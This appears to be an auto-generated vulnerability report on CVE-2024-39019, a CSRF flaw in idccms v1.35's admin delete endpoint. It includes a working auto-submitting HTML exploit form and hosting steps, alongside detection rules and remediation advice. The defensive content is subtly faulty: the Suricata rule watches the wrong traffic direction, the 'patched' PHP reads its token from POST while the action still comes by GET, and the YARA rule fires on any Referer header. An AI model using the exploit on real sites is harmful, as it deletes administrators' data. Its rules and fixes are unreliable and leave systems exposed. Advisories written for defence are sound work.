CVE-2024-39019
Executive Summary
CVE-2024-39019 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35, specifically within the /admin/idcProData_deal.php?mudi=del endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing destructive actions, such as deleting critical data, by crafting a malicious request that the victim's browser automatically sends with their valid session cookies. The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low impact on integrity and no impact on confidentiality or availability. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the lack of a patch and the simplicity of exploitation make this a significant risk for any instance of idccms v1.35.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (idccms) and does not involve supply chain dependencies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None – No data is exposed.
- Integrity (I): Low – The attacker can delete data, but not modify arbitrary content.
- Availability (A): None – The attack does not cause a denial of service.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for data loss make this a serious concern for administrators.
Deep Dive & Mechanics
The vulnerability resides in the idcProData_deal.php script, which handles data management operations for IDC (Internet Data Center) related records. The mudi=del parameter triggers a delete operation. The application fails to implement any anti-CSRF token (e.g., a nonce or CSRF token) to verify that the request originated from the legitimate admin interface.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing an auto-submitting form or an image tag pointing to:
http://target.com/admin/idcProData_deal.php?mudi=del&id=123 - The attacker lures an authenticated admin to visit this page (e.g., via phishing, forum post, or XSS).
- The admin's browser automatically sends the request, including their session cookies.
- The server processes the request, deleting the record with ID 123 without verifying the request's origin.
Root Cause: Missing CSRF protection on the del action. The application does not validate a unique token per session or per request.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is the current state of idccms v1.35. A patched version would need to implement CSRF tokens.
Vulnerable Code (idcProData_deal.php - simplified):
<?php
// No CSRF token check
$mudi = $_GET['mudi'];
if ($mudi == 'del') {
$id = $_GET['id'];
$sql = "DELETE FROM idc_data WHERE id = $id";
mysqli_query($conn, $sql);
header("Location: idcProData.php");
}
?>
Patched Code (hypothetical):
<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF token validation failed.");
}
$mudi = $_GET['mudi'];
if ($mudi == 'del') {
$id = intval($_GET['id']); // Also add input sanitization
$sql = "DELETE FROM idc_data WHERE id = $id";
mysqli_query($conn, $sql);
header("Location: idcProData.php");
}
?>
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: idccms v1.35 running on Apache/Nginx with PHP.
- Attacker: Kali Linux with a simple HTTP server to host the malicious page.
Exploit Code (HTML):
<html>
<body>
<h1>Click here for a free gift!</h1>
<form action="http://target.com/admin/idcProData_deal.php?mudi=del&id=1" method="GET" id="csrf-form">
<input type="submit" value="Claim Gift">
</form>
<script>
// Auto-submit the form
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Usage:
- Host the HTML file on your attacker machine:
python3 -m http.server 8080 - Send the link to the admin (e.g., via email or social engineering).
- Once the admin clicks and is authenticated, the delete request is sent.
Blue Team (Defender)
Detection:
- Monitor for unusual GET requests to
/admin/idcProData_deal.php?mudi=delwith no Referer header or a Referer from an external domain. - Check for rapid deletion of multiple records in a short time.
- Enable logging of all admin actions and correlate with session IDs.
Mitigation:
- Implement CSRF tokens immediately (see Remediation).
- Use SameSite cookies (set to
LaxorStrict). - Require POST requests for destructive actions (change
mudi=delto POST-only).
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/admin/idcProData_deal.php?mudi=delwith suspiciousRefererheaders (e.g., external domains). - Multiple rapid DELETE requests from the same admin session.
- HTTP GET requests to
- Logs:
- Web server logs showing
idcProData_deal.php?mudi=delwithidparameters. - Absence of CSRF token in POST requests (if implemented later).
- Web server logs showing
- File System:
- No specific file IOCs; the attack is purely request-based.
Detection Engineering
YARA Rule
rule idccms_csrf_exploit {
meta:
description = "Detects CSRF exploit attempts against idccms v1.35"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-39019"
strings:
$exploit_path = "/admin/idcProData_deal.php?mudi=del"
$suspicious_ref = "Referer: " ascii wide nocase
condition:
$exploit_path and #suspicious_ref > 0
}
Sigma Rule
title: CSRF Exploit Against idccms v1.35
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the CSRF-vulnerable endpoint in idccms v1.35
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/admin/idcProData_deal.php?mudi=del'
condition: selection
falsepositives:
- Legitimate admin actions (if CSRF is not implemented)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-39019 - idccms CSRF Delete Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"/admin/idcProData_deal.php?mudi=del";
http_uri;
sid:1000001;
rev:1;
reference:cve,2024-39019;
classtype:attempted-admin;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add a unique, unpredictable token to each admin form and validate it on the server side.
- Change HTTP Method: Convert the
delaction to use POST instead of GET to prevent simple image-tag attacks. - Set SameSite Cookies: Configure PHP session cookies with
SameSite=LaxorStrictto prevent cross-site requests. - Validate Referer Header: Check that the
Refererheader matches the application's domain (though this is not foolproof).
Long-Term Fix:
- Upgrade to a patched version of idccms if one becomes available.
- Conduct a full security audit of the application to identify other missing CSRF protections.
Workaround:
- If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.
Report generated by Valters IT DevSecOps & CTI Expert